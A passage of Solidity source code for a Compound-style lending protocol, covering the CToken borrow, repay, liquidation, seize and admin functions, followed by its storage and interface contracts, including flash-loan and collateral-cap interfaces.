0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount, bool isNative) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* * Return if borrowAmount is zero. * Put behind `borrowAllowed` for accuring potential COMP rewards. */ if (borrowAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return uint(Error.NO_ERROR); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); vars.accountBorrowsNew = add_(vars.accountBorrows, borrowAmount); vars.totalBorrowsNew = add_(totalBorrows, borrowAmount); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount, isNative); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount, isNative); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount, bool isNative) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* * Return if repayAmount is zero. * Put behind `repayBorrowAllowed` for accuring potential COMP rewards. */ if (repayAmount == 0) { accountBorrows[borrower].interestIndex = borrowIndex; return (uint(Error.NO_ERROR), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ vars.accountBorrows = borrowBalanceStoredInternal(borrower); /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount, isNative); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ vars.accountBorrowsNew = sub_(vars.accountBorrows, vars.actualRepayAmount); vars.totalBorrowsNew = sub_(totalBorrows, vars.actualRepayAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ // unused function // comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral, bool isNative) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral, isNative); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral, bool isNative) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount, isNative); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ // unused function // comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount, bool isNative) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount, isNative); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @param isNative The amount is in native or not * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount, bool isNative) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount, isNative); totalReservesNew = add_(totalReserves, actualAddAmount); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = sub_(totalReserves, reduceAmount); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. // Restrict reducing reserves in native token. Implementations except `CWrappedNative` won't use parameter `isNative`. doTransferOut(admin, reduceAmount, true); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount, bool isNative) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount, bool isNative) internal; /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint); /** * @notice Get the account's cToken balances */ function getCTokenBalanceInternal(address account) internal view returns (uint); /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block */ function mintFresh(address minter, uint mintAmount, bool isNative) internal returns (uint, uint); /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn, bool isNative) internal returns (uint); /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint); /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; /** * @notice Implementation address for this contract */ address public implementation; } contract CSupplyCapStorage { /** * @notice Internal cash counter for this CToken. Should equal underlying.balanceOf(address(this)) for CERC20. */ uint256 public internalCash; } contract CCollateralCapStorage { /** * @notice Total number of tokens used as collateral in circulation. */ uint256 public totalCollateralTokens; /** * @notice Record of token balances which could be treated as collateral for each account. * If collateral cap is not set, the value should be equal to accountTokens. */ mapping (address => uint) public accountCollateralTokens; /** * @notice Check if accountCollateralTokens have been initialized. */ mapping (address => bool) public isCollateralTokenInit; /** * @notice Collateral cap for this CToken, zero for no cap. */ uint256 public collateralCap; } /*** Interface ***/ contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CWrappedNativeInterface is CErc20Interface { /** * @notice Flash loan fee ratio */ uint public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint amount, uint totalFee, uint reservesFee); /*** User Interface ***/ function mintNative() external payable returns (uint); function redeemNative(uint redeemTokens) external returns (uint); function redeemUnderlyingNative(uint redeemAmount) external returns (uint); function borrowNative(uint borrowAmount) external returns (uint); function repayBorrowNative() external payable returns (uint); function repayBorrowBehalfNative(address borrower) external payable returns (uint); function liquidateBorrowNative(address borrower, CTokenInterface cTokenCollateral) external payable returns (uint); function flashLoan(address payable receiver, uint amount, bytes calldata params) external; /*** Admin Functions ***/ function _addReservesNative() external payable returns (uint); } contract CCapableErc20Interface is CErc20Interface, CSupplyCapStorage { /** * @notice Flash loan fee ratio */ uint public constant flashFeeBips = 3; /*** Market Events ***/ /** * @notice Event emitted when a flashloan occured */ event Flashloan(address indexed receiver, uint amount, uint totalFee, uint reservesFee); /*** User Interface ***/ function gulp() external; function flashLoan(address receiver, uint amount, bytes calldata params) external; } contract CCollateralCapErc20Interface is CCapableErc20Interface, CCollateralCapStorage { /*** Admin Events ***/ /** * @notice Event emitted when collateral cap is set */ event NewCollateralCap(address token, uint newCap); /** * @notice Event emitted when user collateral is changed */ event UserCollateralChanged(address account, uint 